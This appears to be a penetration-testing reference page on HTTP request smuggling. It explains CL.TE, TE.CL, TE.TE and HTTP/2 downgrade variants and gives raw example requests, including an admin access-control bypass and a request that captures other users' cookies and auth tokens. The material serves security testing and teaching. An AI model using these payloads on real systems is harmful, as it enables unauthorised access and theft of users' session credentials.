HTTP Request Smuggling

Exploit discrepancies between front-end and back-end HTTP parsers.

Reference7 steps2 tools

Methodology

  1. 1Determine front-end/back-end disagree on Content-Length vs Transfer-Encoding
  2. 2Identify CL.TE, TE.CL, or TE.TE variants
  3. 3Craft ambiguous requests to smuggle content
  4. 4Exploit for access control bypass, XSS, cache poisoning

Detailed Steps

When front-end and back-end servers parse requests differently:

CL.TE: Front-end uses Content-Length, back-end uses Transfer-Encoding TE.CL: Front-end uses Transfer-Encoding, back-end uses Content-Length TE.TE: Both use TE but one can be confused with obfuscation

The "leftover" bytes from one request become the beginning of the next request.

Front-end reads Content-Length, back-end reads Transfer-Encoding:

shell
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

Front-end forwards 13 bytes (all content). Back-end sees chunked, reads until 0\r\n\r\n, treats "SMUGGLED" as start of next request.

Confirm with timing:

shell
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

1
A
0

→ If this causes a timeout, back-end is using chunked (CL.TE confirmed).

Front-end reads Transfer-Encoding, back-end reads Content-Length:

shell
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

Front-end reads chunked (all content). Back-end reads 3 bytes, leaves rest for next request.

Confirm with timing:

shell
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0

X

→ If timeout, back-end waits for more data (TE.CL confirmed).

Obfuscate Transfer-Encoding to confuse one server:

shell
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: identity
Transfer-Encoding: xchunked
Transfer-Encoding:[tab]chunked
Transfer-Encoding:
 chunked
X: x[\n]Transfer-Encoding: chunked

One server accepts chunked, the other falls back to Content-Length.

Smuggle a request to /admin:

shell
POST / HTTP/1.1
Host: target.com
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

The smuggled request hits the back-end directly, bypassing front-end access controls.

Capture other users' requests:

shell
POST / HTTP/1.1
Host: target.com
Content-Length: 300
Transfer-Encoding: chunked

0

POST /store-data HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 800

data=

The next user's request gets appended to the data= parameter, storing their headers (including cookies/auth tokens) in a location you can read.

HTTP/2 to HTTP/1.1 downgrade creates smuggling opportunities:

H2.CL smuggling:

shell
:method: POST
:path: /
:authority: target.com
content-length: 0

SMUGGLED REQUEST

HTTP/2 doesn't use Transfer-Encoding, but if the front-end downgrades to HTTP/1.1 for the back-end, the Content-Length may be recomputed incorrectly.

Use Burp Suite's HTTP/2 features to test these variants.

Tools

Burp Suite (HTTP Request Smuggler extension)smuggler.py

References

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Use only against systems you own or have permission to test.